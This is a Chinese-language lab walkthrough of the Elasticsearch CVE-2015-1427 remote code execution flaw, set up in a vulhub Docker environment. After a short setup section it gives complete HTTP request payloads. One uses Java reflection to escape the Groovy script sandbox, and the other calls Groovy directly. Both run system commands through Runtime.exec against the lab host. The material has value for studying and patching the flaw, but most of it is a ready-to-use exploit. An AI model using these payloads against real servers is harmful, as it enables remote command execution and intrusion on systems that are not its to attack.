1、vulhub环境搭建

https://blog.csdn.net/qq_36374896/article/details/84102101

2、启动docker环境

cd vulhub-master/elasticsearch/CVE-2015-1427/
sudo docker-compose up

3、访问目标的9200，会出现Elasticsearch的信息：

新版本中Elasticsearch将默认的脚步语言换成了Groovy，增加了沙盒机制过滤用户输入，但还是具有执行漏洞的方法：

• 绕过沙盒
• Groovy代码执行

4、利用JAVA反射机制绕过沙盒

首先向9200端口插入一条数据：

POST /website/blog/ HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

执行结果

利用反射机制执行JAVA代码Payload：

POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 489

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":
                "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

执行结果

5、利用Groovy语言执行命令

Payload:

POST /_search?pretty HTTP/1.1
Host: 192.168.91.130:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

执行结果：